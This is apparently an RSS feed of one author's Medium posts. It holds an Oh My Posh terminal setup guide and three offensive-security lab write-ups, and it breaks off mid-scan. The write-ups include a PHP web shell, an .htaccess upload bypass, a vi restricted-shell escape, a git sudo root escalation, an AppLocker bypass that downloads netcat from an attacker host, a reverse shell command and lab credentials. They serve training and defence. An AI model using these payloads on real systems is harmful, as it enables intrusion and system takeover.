<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Prince Amah on Medium]]></title>
        <description><![CDATA[Stories by Prince Amah on Medium]]></description>
        <link>https://medium.com/@princemcamah?source=rss-beab7d7b6d9d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*FNElp4P3gSIUF4ah</url>
            <title>Stories by Prince Amah on Medium</title>
            <link>https://medium.com/@princemcamah?source=rss-beab7d7b6d9d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 20:44:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@princemcamah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Customizing Windows Terminal with Oh My Posh: A Real Troubleshooting Journey]]></title>
            <link>https://medium.com/@princemcamah/customizing-windows-terminal-with-oh-my-posh-a-real-troubleshooting-journey-e02363216801?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/e02363216801</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 10:00:49 GMT</pubDate>
            <atom:updated>2026-07-02T10:00:49.011Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve ever admired those slick, information-rich terminal prompts developers show off online git branch status, execution time, OS icons, all in a clean, segmented bar, and wondered how to get that on Windows without diving into a full Linux setup, this post is for you.</p><p>I recently went through this exact process on a fresh Windows 11 machine. It wasn’t a clean, five-minute install; I hit real errors along the way, including execution policy blocks, missing themes, and a failed PowerToys install. I’m documenting the whole thing, warts and all, because the troubleshooting is often more useful than the happy path.</p><h3>The Goal</h3><p>I wanted a Powerlevel10k-style prompt, the kind popular in the Zsh/Linux world, but without needing WSL or a Linux shell running underneath. That meant going with <strong>Oh My Posh</strong>, a native Windows (and cross-platform) prompt theming engine that works directly with PowerShell.</p><h3>Step 1: Choosing a Terminal</h3><p>Before any theming, it’s worth clarifying a common point of confusion: <strong>Command Prompt and Windows Terminal are not the same thing.</strong></p><ul><li><strong>Command Prompt (</strong><strong>cmd.exe)</strong> is a <em>shell, </em>the actual program that interprets your commands.</li><li><strong>Windows Terminal</strong> is a <em>terminal application,</em> the window/UI that hosts shells. It can run Command Prompt, PowerShell, WSL distros, or Azure Cloud Shell, all as tabs in one app.</li></ul><p>Think of the shell as the engine and the terminal as the car. Windows Terminal is the modern, GPU-accelerated, tabbed “car” that Microsoft now ships for all of this, and it’s the natural home for any prompt customization.</p><h3>Step 2: Installing Oh My Posh</h3><p>With PowerShell open:</p><pre>winget install JanDeDobbeleer.OhMyPosh -s winget</pre><p>Close and reopen the terminal afterward so PATH updates take effect.</p><h3>Step 3: Installing a Nerd Font</h3><p>Themed prompts rely on special glyphs (git icons, OS logos, etc.) that regular fonts don’t include. Oh My Posh can install one for you:</p><pre>oh-my-posh font install meslo</pre><p>Then, in Windows Terminal: <strong>Settings → your PowerShell profile → Appearance → Font face → </strong><strong>MesloLGS NF</strong>.</p><h3>Step 4: Wiring Oh My Posh into Your PowerShell Profile</h3><p>This is where the real troubleshooting began.</p><p>First, I checked whether a PowerShell profile file even existed:</p><pre>Test-Path $PROFILE</pre><p>Since it didn’t, I created one:</p><pre>New-Item -Path $PROFILE -Type File -Force<br>notepad $PROFILE</pre><p>And added the initialization line:</p><pre>oh-my-posh init pwsh --config &quot;$env:POSH_THEMES_PATH\jandedobbeleer.omp.json&quot; | Invoke-Expression</pre><h3>Error #1: Script Execution Disabled</h3><p>Reloading the profile threw this:</p><pre>File ...\Microsoft.PowerShell_profile.ps1 cannot be loaded because running scripts is disabled on this system.</pre><p>Windows disables script execution by default for security. The fix is to loosen the policy — just for your user account, not machine-wide:</p><pre>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser</pre><p>RemoteSigned lets locally-written scripts (like your own $PROFILE) run freely, while still requiring a digital signature for anything downloaded from the internet. It&#39;s the standard setting most developers use — not a security free-for-all.</p><p>If you’re on a locked-down corporate machine and this doesn’t take effect, check for policy overrides with:</p><pre>Get-ExecutionPolicy -List</pre><p>A MachinePolicy or UserPolicy entry set by IT will override anything you do at the user level.</p><h3>Error #2: CONFIG NOT FOUND</h3><p>After fixing the execution policy, the profile loaded — but Oh My Posh itself complained:</p><pre>CONFIG NOT FOUND</pre><p>This error comes directly from Oh My Posh, and it means the --config path you gave it doesn&#39;t point to a real file. I worked through this methodically:</p><p><strong>Check the environment variable it depends on:</strong></p><pre>echo $env:POSH_THEMES_PATH</pre><p>It came back <strong>empty</strong>. That was the smoking gun — POSH_THEMES_PATH is supposed to be set automatically during installation, but it hadn&#39;t been.</p><p><strong>Confirm Oh My Posh itself was actually installed correctly:</strong></p><pre>oh-my-posh version<br>Get-Command oh-my-posh</pre><p>This showed version 29.18.0, installed via the Windows Store-linked path (...\WindowsApps\oh-my-posh.exe). That particular install method doesn&#39;t bundle a themes folder — themes have to be fetched separately.</p><p><strong>Searching the whole disk for the theme file confirmed it:</strong></p><pre>Get-ChildItem -Path C:\ -Filter &quot;jandedobbeleer.omp.json&quot; -Recurse -ErrorAction SilentlyContinue -Force</pre><p>Nothing came back. The file genuinely didn’t exist anywhere on the machine.</p><h3>The Fix: Manually Downloading the Themes</h3><p>Since the installer hadn’t provided them, I downloaded the themes package directly from the Oh My Posh GitHub releases, matched to my installed version:</p><pre># 1. Create a folder to hold the themes<br>New-Item -Path &quot;$env:LOCALAPPDATA\Programs\oh-my-posh\themes&quot; -ItemType Directory -Force</pre><pre># 2. Download the themes zip for the matching version<br>Invoke-WebRequest -Uri &quot;https://github.com/JanDeDobbeleer/oh-my-posh/releases/download/v29.18.0/themes.zip&quot; -OutFile &quot;$env:TEMP\themes.zip&quot;</pre><pre># 3. Extract it<br>Expand-Archive -Path &quot;$env:TEMP\themes.zip&quot; -DestinationPath &quot;$env:LOCALAPPDATA\Programs\oh-my-posh\themes&quot; -Force</pre><pre># 4. Set the environment variable permanently (not just for this session)<br>[System.Environment]::SetEnvironmentVariable(&#39;POSH_THEMES_PATH&#39;, &quot;$env:LOCALAPPDATA\Programs\oh-my-posh\themes&quot;, &#39;User&#39;)</pre><p><strong>Important:</strong> environment variables set this way only apply to <em>new</em> terminal sessions. I had to fully close and reopen Windows Terminal before it took effect.</p><p>After restarting:</p><pre>echo $env:POSH_THEMES_PATH<br># C:\Users\PAmah\AppData\Local\Programs\oh-my-posh\themes</pre><p>Reloading the profile finally worked, and the prompt came alive, showing the shell name, execution time per command, and a clean segmented layout, all rendered correctly thanks to the Nerd Font.</p><h3>Step 5: Browsing Themes</h3><p>Oh My Posh ships dozens of built-in themes. Once the themes folder actually existed, I could preview all of them at once:</p><pre>Get-ChildItem &quot;$env:POSH_THEMES_PATH&quot; -Filter &#39;*.omp.json&#39; | ForEach-Object {<br>    Write-Host &quot;Theme: $($_.BaseName)&quot; -ForegroundColor Cyan<br>    oh-my-posh print primary --config $_.FullName<br>    Write-Host &quot;&quot;<br>}</pre><p>Worth trying: jandedobbeleer (the default, and what I ended up using), atomic, powerlevel10k_rainbow (closest match to the classic P10k look), paradox, and night-owl.</p><p>To switch permanently, edit $PROFILE and change the theme filename in the --config path, then reload with . $PROFILE.</p><h3>Step 6: Extra Polish</h3><p>A couple of optional add-ons rounded things out:</p><p><strong>Terminal-Icons</strong> — adds file/folder icons to ls/dir output:</p><pre>Install-Module -Name Terminal-Icons -Scope CurrentUser -Repository PSGallery</pre><p><em>(Note: if PSGallery is untrusted, you’ll be prompted to confirm — answer </em><em>Y to proceed.)</em></p><p>Then add to $PROFILE:</p><pre>Import-Module -Name Terminal-Icons</pre><p><strong>PSReadLine, </strong>improves command-line editing and history:</p><pre>Install-Module -Name PSReadLine -Scope CurrentUser -Force</pre><p><strong>PowerToys</strong> — a broader Windows productivity toolset (window management, color picker, etc.), unrelated to the terminal itself but a common companion install. This one actually failed for me with an MSI error (0x80070643):</p><pre>Installer failed with exit code: 1603</pre><p>The install log pointed to a generic Windows Installer failure rather than a download or permissions issue. The fix was running the installer manually, with elevation, instead of relying on winget’s silent install:</p><ol><li>Download the latest release manually from the <a href="https://github.com/microsoft/PowerToys/releases/latest">PowerToys GitHub releases page</a></li><li>Right-click the .exe → <strong>Run as administrator</strong></li></ol><p>This is a good reminder that winget&#39;s silent install flag can trip over permission issues that a normal interactive installer handles without complaint.</p><h3>Final Result</h3><p>What started as a single winget install Command turned into a proper debugging session, execution policies, missing environment variables, and an installer that silently skipped a required asset. But each error had a clear, traceable cause, and the end result is a fully themed, icon-rich PowerShell prompt running natively in Windows Terminal, no WSL or Linux layer required.</p><p><strong>Quick recap of the core fix sequence, if you hit the same wall:</strong></p><ol><li>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser If scripts won&#39;t run</li><li>Check $env:POSH_THEMES_PATH, If it&#39;s empty, that&#39;s your CONFIG NOT FOUND culprit</li><li>Manually download themes.zip from the Oh My Posh GitHub releases matching your installed version</li><li>Set POSH_THEMES_PATH permanently with [System.Environment]::SetEnvironmentVariable(...)</li><li><strong>Fully restart your terminal</strong> env variables won’t apply to already-open sessions</li></ol><p>If you’re setting this up yourself, budget a bit more time than the “five-minute install” tutorials suggest, but every one of these issues has a clean fix once you know where to look.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e02363216801" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Dangerous Power of .htaccess Misconfigurations in File Uploads]]></title>
            <link>https://medium.com/@princemcamah/the-dangerous-power-of-htaccess-misconfigurations-in-file-uploads-9e37d70b1498?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e37d70b1498</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[htaccess]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Sun, 10 May 2026 20:22:27 GMT</pubDate>
            <atom:updated>2026-05-10T20:22:27.679Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Readers</p><p>One small file. One line of configuration. Full Remote Code Execution.</p><p>While going through an offensive security training today, I revisited a classic yet still very relevant upload-bypass technique involving Apache’s .htaccess file.</p><p>The payload was simple: creating an .htaccess file with a one-liner payload</p><pre>AddType application/x-httpd-php .evil</pre><p>At first glance, it may not look dangerous. But this single line tells the Apache web server:</p><blockquote><em>“Treat files ending in .evil as PHP scripts.”</em></blockquote><p>That means a file like:</p><pre>shell.evil</pre><p>can suddenly execute server-side PHP code just like a normal .php file.</p><h3>Why This Matters</h3><p>Many web applications try to secure file uploads by blocking dangerous extensions such as:</p><ul><li>.php</li><li>.phtml</li><li>.php5</li></ul><p>But attackers don’t always need a .php extension.</p><p>If:</p><ul><li>.htaccess uploads are allowed,</li><li>Apache overrides are enabled,</li><li>and the upload directory executes scripts,</li></ul><p>An attacker can redefine how the server interprets files.</p><p>Example:</p><pre>&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><p>saved as:</p><pre>cmd.evil</pre><p>Now it becomes executable.</p><p>Visiting:</p><pre>http://target/uploads/cmd.evil?cmd=whoami</pre><p>could lead to Remote Code Execution (RCE).</p><h3>Key Security Lessons</h3><p>This is why secure file upload handling goes beyond extension filtering.</p><h3>Proper defenses include:</h3><ul><li>Disable .htaccess overrides in upload directories</li><li>Prevent script execution inside upload folders</li><li>Store uploads outside the web root</li><li>Use strict allowlists for file types</li><li>Validate MIME types and file signatures</li><li>Rename uploaded files server-side</li><li>Use separate storage services when possible</li></ul><h3>The Bigger Picture</h3><p>What makes this technique interesting is not just the payload itself, but the reminder that:</p><blockquote><em>Security controls are only as strong as the assumptions behind them.</em></blockquote><p>Blocking .php uploads alone is not enough if the server can be convinced to execute another extension as PHP.</p><p>Attackers look for:</p><ul><li>misconfigurations,</li><li>parser inconsistencies,</li><li>and trust assumptions.</li></ul><p>Defenders should too.</p><p>#CyberSecurity #OffensiveSecurity #AppSec #WebSecurity #RedTeam #OWASP #BugBounty #Pentesting #DevSecOps #Apache #EthicalHacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e37d70b1498" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC-2 Walkthrough: WordPress Enumeration to Root via Git Sudo Privilege Escalation]]></title>
            <link>https://medium.com/@princemcamah/dc-2-walkthrough-wordpress-enumeration-to-root-via-git-sudo-privilege-escalation-652ce5c1a08f?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/652ce5c1a08f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[wordpress-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[linux-security]]></category>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Mon, 09 Mar 2026 05:06:53 GMT</pubDate>
            <atom:updated>2026-03-09T05:06:53.358Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this lab, we perform a full penetration test against a vulnerable Linux machine hosting a WordPress CMS. The goal is to enumerate the system, gain initial access through credential discovery, bypass a restricted shell environment, and escalate privileges to root.</p><p>The machine demonstrates several common real-world attack vectors including:</p><ul><li>WordPress enumeration</li><li>Password brute-forcing using custom wordlists</li><li>Escaping restricted shells</li><li>Privilege escalation via misconfigured <strong>sudo permissions</strong></li></ul><h3>Reconnaissance</h3><p>The first step is always <strong>enumeration</strong>.</p><p>We begin with a full <strong>Nmap scan</strong>.</p><pre>nmap -A -p- -sVC 192.168.240.194</pre><pre>Results</pre><pre>PORT     STATE SERVICE VERSION<br>80/tcp   open  http    Apache httpd 2.4.10 (Debian)<br>7744/tcp open  ssh     OpenSSH 6.7p1 Debian</pre><pre>Two services are exposed:</pre><ul><li><strong>HTTP (WordPress site)</strong></li><li><strong>SSH running on a non-standard port</strong></li></ul><p>We add the host to /etc/hosts:</p><pre>192.168.240.194 dc-2</pre><pre>WordPress Enumeration</pre><p>We use <strong>WPScan</strong> to enumerate the WordPress installation.</p><pre>wpscan --url http://dc-2 --enumerate u</pre><pre>Discovered Information</pre><p>WordPress version:</p><pre>WordPress 4.7.10</pre><pre>Users discovered:</pre><pre>admin<br>jerry<br>tom</pre><pre>The machine also reveals an important hint:</pre><blockquote><em>“Your usual wordlists probably won’t work… maybe you just need to be </em><strong><em>cewl</em></strong><em>.”</em></blockquote><h3>Generating a Custom Wordlist</h3><p>We generate a wordlist directly from the website using <strong>CeWL</strong>.</p><pre>cewl http://dc-2 | tee password</pre><pre>CeWL scrapes words from the webpage and builds a custom dictionary.</pre><h3>Brute-Forcing Credentials</h3><p>We now perform a password attack using WPScan.</p><pre>wpscan --url http://dc-2 -U unames -P password</pre><pre>Credentials Discovered</pre><pre>jerry : adipiscing<br>tom   : parturient</pre><pre>Initial Access</pre><p>Using the discovered credentials we log in through SSH.</p><pre>ssh tom@192.168.240.194 -p 7744</pre><pre>However, the system drops us into a restricted rbash shell.</pre><p>This prevents execution of most commands.</p><h3>Escaping the Restricted Shell</h3><p>We inspect the available binaries:</p><pre>ls /home/tom/usr/bin</pre><pre>Output:</pre><pre>less<br>ls<br>scp<br>vi</pre><pre>Since vi is available, we can escape the restricted shell.</pre><p>Inside vi we execute:</p><pre>:set shell=/bin/bash<br>shell</pre><pre>Then we fix the environment:</pre><pre>export PATH=/bin:/usr/bin:$PATH<br>export SHELL=/bin/bash</pre><pre>Now we have a normal shell.</pre><h3>Enumerating Privileges</h3><p>Checking sudo privileges:</p><pre>sudo -l</pre><pre>Tom cannot run sudo commands.</pre><p>However, a hint inside the flag suggests switching users.</p><pre>su jerry</pre><pre>Using the password we previously discovered.</pre><h3>Privilege Escalation</h3><p>Now check Jerry’s sudo permissions:</p><pre>sudo -l</pre><pre>Output:</pre><pre>(root) NOPASSWD: /usr/bin/git</pre><p>This is a <strong>privilege escalation opportunity</strong>.</p><p>We abuse Git using GTFOBins techniques.</p><pre>sudo git -p help config</pre><pre>Inside the pager:</pre><pre>!/bin/bash</pre><pre>This spawns a root shell.</pre><h3>Root Access</h3><p>We confirm root privileges:</p><pre>whoami<br>root</pre><pre>Retrieve the final flag:</pre><pre>cat /root/proof.txt</pre><pre>Key Takeaways</pre><p>This machine highlights several important penetration testing concepts:</p><h3>1 Enumeration is Critical</h3><p>Identifying users and services early provides attack paths.</p><h3>2 Custom Wordlists are Powerful</h3><p>Tools like <strong>CeWL</strong> can generate highly effective password lists.</p><h3>3 Restricted Shells Can Be Escaped</h3><p>Many editors like vi allow shell escapes.</p><h3>4 Sudo Misconfigurations Are Dangerous</h3><p>Allowing privileged binaries like git can lead to full root compromise.</p><h3>Tools Used</h3><ul><li>Nmap</li><li>WPScan</li><li>CeWL</li><li>SSH</li><li>GTFOBins</li></ul><h3>Final Thoughts</h3><p>This was a great lab for practicing:</p><ul><li>Web enumeration</li><li>WordPress exploitation</li><li>Shell escaping</li><li>Linux privilege escalation</li></ul><p>Machines like this reinforce the importance of <strong>proper access controls and secure sudo configurations</strong>.</p><p>If you enjoyed this write-up or have feedback, feel free to connect with me.</p><p>Happy hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=652ce5c1a08f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CORP Box — OSCP Preparation]]></title>
            <link>https://medium.com/@princemcamah/corp-box-oscp-preparation-308a61e01bfd?source=rss-beab7d7b6d9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/308a61e01bfd</guid>
            <dc:creator><![CDATA[Prince Amah]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 21:28:53 GMT</pubDate>
            <atom:updated>2025-03-26T21:28:53.821Z</atom:updated>
            <content:encoded><![CDATA[<h3>CORP Box — OSCP Preparation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rD35c81MeUG4j52YcBPlkA.png" /></figure><h3>Introduction</h3><p>For my <strong>OSCP preparation</strong>, I tackled the <strong>Corp</strong> box on <strong>TryHackMe</strong>, which focused on <strong>Windows penetration testing techniques</strong>, including:</p><p><strong>Windows Forensics</strong></p><p><strong>Kerberoasting</strong></p><p><strong>AppLocker Bypass</strong></p><p><strong>Privilege Escalation Techniques</strong></p><p>This report documents my methodology, exploitation steps, and key takeaways.</p><p>Credentials</p><pre>Username: corp/dark<br>Password: _QuejVudId6<br>IP 10.10.103.0</pre><h3>Bypassing AppLocker</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*kRIuXY0EizIViOZV.png" /></figure><p>AppLocker is an application whitelisting technology introduced with Windows 7. It allows restricting which programs users can execute based on the programs path, publisher, and hash.</p><p>You will have noticed that with the deployed machine, you cannot execute your binaries, and certain functions on the system will be restricted.</p><p>Answer the questions below</p><p>There are many ways to bypass AppLocker.</p><p>If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory:</p><p>&lt;aside&gt; 💡</p><p>C:\Windows\System32\spool\drivers\color</p><p>&lt;/aside&gt;</p><p>This is whitelisted by default.</p><p>Go ahead and use PowerShell to download an executable of your choice locally, place it in the whitelisted directory and execute it.</p><pre>The system had AppLocker enabled, restricting executable execution. However, default whitelisted directories allowed us to bypass this restriction.<br>Steps Taken:<br>- Download an executable (e.g., nc.exe) using PowerShell:</pre><pre>Invoke-WebRequest -Uri &lt;http://attacker-ip/nc.exe&gt; -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe</pre><pre>- Execute the binary from the whitelisted directory:</pre><pre>C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd.exe attacker-ip 4444</pre><pre>Impact: Successfully executed restricted binaries, establishing an initial foothold.</pre><p>Just like Linux bash, Windows Powershell saves all previous commands into a file called ”<strong>ConsoleHost_history</strong>.” This is located at:</p><pre>%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt</pre><h3>Keberoasting</h3><p><a href="https://www.youtube.com/watch?v=LmbP-XD1SC8">https://www.youtube.com/watch?v=LmbP-XD1SC8</a></p><p>Kerberos is the authentication system for Windows and Active Directory networks. There are many attacks against Kerberos, in this room we will use a Powershell script to request a service ticket for an account and acquire a ticket hash. We can then crack this hash to get access to another user account!</p><p>This network authentication is based on tickets. The protocol allows 2 parties a client and a server to authenticated to each other over an insecure network channel, provided that both parties trust a thirdparty; kerberos server!</p><p>Main Components of a Kerberos transaction are</p><pre>-KDC [Keberos Distribution Center]<br>-Client requesting access<br>-Service the client is attempting to obtain access to</pre><p>Windows would revert to NTLMv2 if kerberos is not available</p><p>TGT is used to request a ticket for a service</p><p>Lets first enumerate Windows.</p><p>SPN is the Service Principal Name, and is the mapping between service and account.</p><p>Running that command, we find an existing SPN. What user is that for?</p><h3>Enumeration &amp; Reconnaissance</h3><h3>Initial Network Scan</h3><p>Using <strong>Nmap</strong>, I conducted a comprehensive scan to identify open ports and running services:</p><p><strong>Key Findings:</strong></p><p><strong>Port</strong> <strong>Service</strong> <strong>Description</strong> <strong>53</strong> DNS Possible Active Directory domain <strong>88</strong> Kerberos Indicates a Windows domain controller <strong>135</strong> MSRPC Remote procedure call service <strong>139/445</strong> SMB File sharing and authentication <strong>389</strong> LDAP Active Directory queries <strong>3389</strong> RDP Remote desktop service</p><p><strong>Observations:</strong></p><ul><li><strong>The presence of Kerberos (Port 88)</strong> suggests a possible <strong>Kerberoasting attack</strong>.</li><li><strong>SMB &amp; LDAP open</strong> — potential for <strong>user enumeration &amp; credential extraction</strong>.</li></ul><pre>┌──(offsec㉿QORE)-[~/Desktop/THM]<br>└─$ nmap -sVC -vv 10.10.103.0       <br>Starting Nmap 7.95 ( &lt;https://nmap.org&gt; ) at 2025-03-26 20:12 WAT<br>NSE: Loaded 157 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 20:12<br>Completed NSE at 20:12, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 20:12<br>Completed NSE at 20:12, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 20:12<br>Completed NSE at 20:12, 0.00s elapsed<br>Initiating Ping Scan at 20:12<br>Scanning 10.10.103.0 [4 ports]<br>Completed Ping Scan at 20:12, 0.45s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 20:12<br>Completed Parallel DNS resolution of 1 host. at 20:12, 0.04s elapsed<br>Initiating SYN Stealth Scan at 20:12<br>Scanning 10.10.103.0 [1000 ports]<br>Discovered open port 3389/tcp on 10.10.103.0<br>Discovered open port 445/tcp on 10.10.103.0<br>Discovered open port 139/tcp on 10.10.103.0<br>Discovered open port 135/tcp on 10.10.103.0<br>Discovered open port 53/tcp on 10.10.103.0<br>Discovered open port 88/tcp on 10.10.103.0<br>Discovered open port 3269/tcp on 10.10.103.0<br>Discovered open port 593/tcp on 10.10.103.0<br>Discovered open port 3268/tcp on 10.10.103.0<br>Discovered open port 464/tcp on 10.10.103.0<br>Discovered open port 636/tcp on 10.10.103.0<br>Discovered open port 389/tcp on 10.10.103.0<br>Completed SYN Stealth Scan at 20:12, 19.28s elapsed (1000 total ports)<br>Initiating Service scan at 20:12<br>Scanning 12 services on 10.10.103.0<br>Completed Service scan at 20:13, 33.57s elapsed (12 services on 1 host)<br>NSE: Script scanning 10.10.103.0.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 20:13<br>NSE Timing: About 99.94% done; ETC: 20:13 (0:00:00 remaining)<br>Completed NSE at 20:13, 40.10s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 20:13<br>Completed NSE at 20:14, 15.10s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 20:14<br>Completed NSE at 20:14, 0.00s elapsed<br>Nmap scan report for 10.10.103.0<br>Host is up, received echo-reply ttl 125 (0.42s latency).<br>Scanned at 2025-03-26 20:12:15 WAT for 108s<br>Not shown: 988 filtered tcp ports (no-response)<br>PORT     STATE SERVICE       REASON          VERSION<br>53/tcp   open  domain        syn-ack ttl 125 Simple DNS Plus<br>88/tcp   open  kerberos-sec  syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2025-03-26 19:12:43Z)<br>135/tcp  open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: corp.local0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds? syn-ack ttl 125<br>464/tcp  open  kpasswd5?     syn-ack ttl 125<br>593/tcp  open  ncacn_http    syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped    syn-ack ttl 125<br>3268/tcp open  ldap          syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: corp.local0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped    syn-ack ttl 125<br>3389/tcp open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=omega.corp.local<br>| Issuer: commonName=omega.corp.local<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2025-03-25T19:11:05<br>| Not valid after:  2025-09-24T19:11:05<br>| MD5:   adcb:4471:48e1:b91e:70ce:0d76:ece3:3df4<br>| SHA-1: 3a4d:4289:8ce4:7fcf:2ca0:d05a:7c06:8454:71a4:be87<br>| -----BEGIN CERTIFICATE-----<br>| MIIC5DCCAcygAwIBAgIQWq39qMoyuqZAyEggg+rhWzANBgkqhkiG9w0BAQsFADAb<br>| MRkwFwYDVQQDExBvbWVnYS5jb3JwLmxvY2FsMB4XDTI1MDMyNTE5MTEwNVoXDTI1<br>| MDkyNDE5MTEwNVowGzEZMBcGA1UEAxMQb21lZ2EuY29ycC5sb2NhbDCCASIwDQYJ<br>| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAKuWcp5kk6rUJtjV9DZnBgt3bIbCvWjw<br>| 6+ww7l8MJlho/MpKSzSGierseknuoYLljUyhF7hFf94ngtpixdU/bXxaRyP9qIrA<br>| iozhVrL7cXY7spzvrrivGUmqY1qXMJUwo3sVHujTIY3IKixBHMF7dxEpWWqqAkFQ<br>| 0Ep1wRXgrRt57M47ccPJAqrm9Og9lhr92ZvSwpXWZo7S/mfBhsgPniOhtF1E3kLt<br>| mMaB/tcxJYbJ/w0g7i7kK01mW/LOHYmzh4HGPitDRJWSZZw+VBcRTJ5vKvfxMWuV<br>| QOmCta1paavW35eunc0cfuQtyZy+S/cvgoz1WM0E2FwS7jmtlnAgKFUCAwEAAaMk<br>| MCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEB<br>| CwUAA4IBAQBwCA9Vebi0sJsygeU9o33JkqiZ08c1vrgVow7fAI4cGXcRLSeVpMxQ<br>| NXoZTrVtwqg435HgpwedloqkEva1tMVIELpXatKqMF/ZadxDNfb/1NNyWsElD1Ci<br>| eGEjVX2Ab02KDapMXSuCl4sMIVE/DSDvvVISW5CRuC8KPcte0T/KBNnNKSIby6TG<br>| 4ZaQEfGcIL6EWzVyb+a+CUtmLytXvHRDCt4ok/0vnOJXsA0DZNb5t4zoJl9byt3J<br>| xjV7n80epNWSKUP/ceH2fZs4rh/30Z/V5nV3oisYkDuKipzdppv8jc64sZqAn55E<br>| 9Y11modB7fDLtuX8H5VGNbF7rZ38apGM<br>|_-----END CERTIFICATE-----<br>| rdp-ntlm-info: <br>|   Target_Name: CORP<br>|   NetBIOS_Domain_Name: CORP<br>|   NetBIOS_Computer_Name: OMEGA<br>|   DNS_Domain_Name: corp.local<br>|   DNS_Computer_Name: omega.corp.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2025-03-26T19:13:10+00:00<br>|_ssl-date: 2025-03-26T19:13:49+00:00; 0s from scanner time.<br>Service Info: Host: OMEGA; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 56538/tcp): CLEAN (Timeout)<br>|   Check 2 (port 41957/tcp): CLEAN (Timeout)<br>|   Check 3 (port 50739/udp): CLEAN (Timeout)<br>|   Check 4 (port 33843/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb2-time: <br>|   date: 2025-03-26T19:13:14<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>|_clock-skew: mean: 0s, deviation: 0s, median: 0s</pre><pre>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 20:14<br>Completed NSE at 20:14, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 20:14<br>Completed NSE at 20:14, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 